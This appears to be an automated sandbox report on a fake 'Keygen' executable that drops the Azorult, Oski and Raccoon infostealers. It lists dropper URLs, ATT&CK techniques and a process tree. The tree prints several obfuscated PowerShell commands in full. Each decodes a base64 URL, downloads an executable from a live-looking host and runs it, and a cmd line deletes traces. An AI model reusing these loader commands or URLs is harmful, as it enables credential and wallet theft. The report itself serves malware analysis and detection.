azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
24s
max time network
152s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (126) — копия.exe

Score

10^/10

azorult oski raccoon discovery infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

6 1324 powershell.exe
9 1324 powershell.exe
11 1500 powershell.exe
13 1500 powershell.exe
17 4412 powershell.exe
25 4412 powershell.exe
Downloads MZ/PE file

flow	pid	process
6	1324	powershell.exe
9	1324	powershell.exe
11	1500	powershell.exe
13	1500	powershell.exe
17	4412	powershell.exe
25	4412	powershell.exe

Executes dropped EXE 15 IoCs

Processes:

Keygen.exeiwx.exevng.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeiwx.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exetzo.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exetzo.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exevng.exe

pid	process
1900	Keygen.exe
4968	iwx.exe
5072	vng.exe
5108	FVjhgtresfdbv.exe
4156	NHtrdsaghfDF.exe
4252	iwx.exe
4392	FVjhgtresfdbv.exe
4396	NHtrdsaghfDF.exe
4784	tzo.exe
5000	FVjhgtresfdbv.exe
3732	NHtrdsaghfDF.exe
2564	tzo.exe
5028	FVjhgtresfdbv.exe
2848	NHtrdsaghfDF.exe
1300	vng.exe

Loads dropped DLL 3 IoCs

Processes:

FVjhgtresfdbv.exe

pid process

4392 FVjhgtresfdbv.exe
4392 FVjhgtresfdbv.exe
4392 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4392	FVjhgtresfdbv.exe
4392	FVjhgtresfdbv.exe
4392	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

iwx.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exetzo.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exevng.exe

description	pid	process	target process
PID 4968 set thread context of 4252	4968	iwx.exe	iwx.exe
PID 5108 set thread context of 4392	5108	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4156 set thread context of 4396	4156	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4784 set thread context of 2564	4784	tzo.exe	tzo.exe
PID 5000 set thread context of 5028	5000	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 3732 set thread context of 2848	3732	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 5072 set thread context of 1300	5072	vng.exe	vng.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4260 5028 WerFault.exe FVjhgtresfdbv.exe
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

FVjhgtresfdbv.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2700 timeout.exe
2252 timeout.exe

pid	pid_target	process	target process
4260	5028	WerFault.exe	FVjhgtresfdbv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

pid	process
2700	timeout.exe
2252	timeout.exe

Modifies registry class 2 IoCs

Processes:

vng.execmd.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	vng.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1324	powershell.exe
1500	powershell.exe
3720	powershell.exe
1384	powershell.exe
3720	powershell.exe
1384	powershell.exe
1324	powershell.exe
1500	powershell.exe
1324	powershell.exe
1324	powershell.exe
1384	powershell.exe
1384	powershell.exe
3720	powershell.exe
3720	powershell.exe
1500	powershell.exe
1500	powershell.exe
4412	powershell.exe
4412	powershell.exe
4516	powershell.exe
4516	powershell.exe
4412	powershell.exe
4516	powershell.exe
4412	powershell.exe
4516	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

iwx.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exetzo.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4968 iwx.exe
5108 FVjhgtresfdbv.exe
4156 NHtrdsaghfDF.exe
4784 tzo.exe
5000 FVjhgtresfdbv.exe
3732 NHtrdsaghfDF.exe

pid	process
4968	iwx.exe
5108	FVjhgtresfdbv.exe
4156	NHtrdsaghfDF.exe
4784	tzo.exe
5000	FVjhgtresfdbv.exe
3732	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exevng.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	1324	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeDebugPrivilege	4412	powershell.exe
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeDebugPrivilege	5072	vng.exe
Token: SeRestorePrivilege	4260	WerFault.exe
Token: SeBackupPrivilege	4260	WerFault.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exeiwx.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exetzo.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

1900 Keygen.exe
4968 iwx.exe
5108 FVjhgtresfdbv.exe
4156 NHtrdsaghfDF.exe
4784 tzo.exe
5000 FVjhgtresfdbv.exe
3732 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (126) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exeiwx.exe

description	pid	process	target process
PID 3348 wrote to memory of 1028	3348	Keygen — копия (126) — копия.exe	cmd.exe
PID 3348 wrote to memory of 1028	3348	Keygen — копия (126) — копия.exe	cmd.exe
PID 3348 wrote to memory of 1028	3348	Keygen — копия (126) — копия.exe	cmd.exe
PID 1028 wrote to memory of 1900	1028	cmd.exe	Keygen.exe
PID 1028 wrote to memory of 1900	1028	cmd.exe	Keygen.exe
PID 1028 wrote to memory of 1900	1028	cmd.exe	Keygen.exe
PID 1028 wrote to memory of 2180	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 2180	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 2180	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 2560	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 2560	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 2560	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 2700	1028	cmd.exe	timeout.exe
PID 1028 wrote to memory of 2700	1028	cmd.exe	timeout.exe
PID 1028 wrote to memory of 2700	1028	cmd.exe	timeout.exe
PID 1028 wrote to memory of 2056	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 2056	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 2056	1028	cmd.exe	mshta.exe
PID 2560 wrote to memory of 1384	2560	mshta.exe	powershell.exe
PID 2560 wrote to memory of 1384	2560	mshta.exe	powershell.exe
PID 2560 wrote to memory of 1384	2560	mshta.exe	powershell.exe
PID 2180 wrote to memory of 1324	2180	mshta.exe	powershell.exe
PID 2180 wrote to memory of 1324	2180	mshta.exe	powershell.exe
PID 2180 wrote to memory of 1324	2180	mshta.exe	powershell.exe
PID 2056 wrote to memory of 1500	2056	mshta.exe	powershell.exe
PID 2056 wrote to memory of 1500	2056	mshta.exe	powershell.exe
PID 2056 wrote to memory of 1500	2056	mshta.exe	powershell.exe
PID 1028 wrote to memory of 3724	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 3724	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 3724	1028	cmd.exe	mshta.exe
PID 3724 wrote to memory of 3720	3724	mshta.exe	powershell.exe
PID 3724 wrote to memory of 3720	3724	mshta.exe	powershell.exe
PID 3724 wrote to memory of 3720	3724	mshta.exe	powershell.exe
PID 1028 wrote to memory of 2252	1028	cmd.exe	timeout.exe
PID 1028 wrote to memory of 2252	1028	cmd.exe	timeout.exe
PID 1028 wrote to memory of 2252	1028	cmd.exe	timeout.exe
PID 1028 wrote to memory of 4268	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 4268	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 4268	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 4400	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 4400	1028	cmd.exe	mshta.exe
PID 1028 wrote to memory of 4400	1028	cmd.exe	mshta.exe
PID 4268 wrote to memory of 4412	4268	mshta.exe	powershell.exe
PID 4268 wrote to memory of 4412	4268	mshta.exe	powershell.exe
PID 4268 wrote to memory of 4412	4268	mshta.exe	powershell.exe
PID 4400 wrote to memory of 4516	4400	mshta.exe	powershell.exe
PID 4400 wrote to memory of 4516	4400	mshta.exe	powershell.exe
PID 4400 wrote to memory of 4516	4400	mshta.exe	powershell.exe
PID 1324 wrote to memory of 4968	1324	powershell.exe	iwx.exe
PID 1324 wrote to memory of 4968	1324	powershell.exe	iwx.exe
PID 1324 wrote to memory of 4968	1324	powershell.exe	iwx.exe
PID 1500 wrote to memory of 5072	1500	powershell.exe	vng.exe
PID 1500 wrote to memory of 5072	1500	powershell.exe	vng.exe
PID 1500 wrote to memory of 5072	1500	powershell.exe	vng.exe
PID 4968 wrote to memory of 5108	4968	iwx.exe	FVjhgtresfdbv.exe
PID 4968 wrote to memory of 5108	4968	iwx.exe	FVjhgtresfdbv.exe
PID 4968 wrote to memory of 5108	4968	iwx.exe	FVjhgtresfdbv.exe
PID 4968 wrote to memory of 4156	4968	iwx.exe	NHtrdsaghfDF.exe
PID 4968 wrote to memory of 4156	4968	iwx.exe	NHtrdsaghfDF.exe
PID 4968 wrote to memory of 4156	4968	iwx.exe	NHtrdsaghfDF.exe
PID 4968 wrote to memory of 4252	4968	iwx.exe	iwx.exe
PID 4968 wrote to memory of 4252	4968	iwx.exe	iwx.exe
PID 4968 wrote to memory of 4252	4968	iwx.exe	iwx.exe
PID 4968 wrote to memory of 4252	4968	iwx.exe	iwx.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (126) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (126) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3348

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (126) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1028

C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1900

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2180

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1324

C:\Users\Public\iwx.exe
"C:\Users\Public\iwx.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4968

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5108

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4392

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4392 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\437908319658736\\* & exit
8⤵
PID:3744

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4156

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4396

C:\Users\Public\iwx.exe
"C:\Users\Public\iwx.exe"
6⤵
- Executes dropped EXE
PID:4252

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2560

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1384

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2700

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2056

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1500

C:\Users\Public\vng.exe
"C:\Users\Public\vng.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:5072

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
6⤵
PID:4420

C:\Users\Public\vng.exe
"C:\Users\Public\vng.exe"
6⤵
- Executes dropped EXE
PID:1300

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3724

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3720

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:2252

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4268

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4412

C:\Users\Public\tzo.exe
"C:\Users\Public\tzo.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4784

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5000

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:5028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5028 -s 1248
8⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4260

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3732

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:2848

C:\Users\Public\tzo.exe
"C:\Users\Public\tzo.exe"
6⤵
- Executes dropped EXE
PID:2564

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1E9A.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4400

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
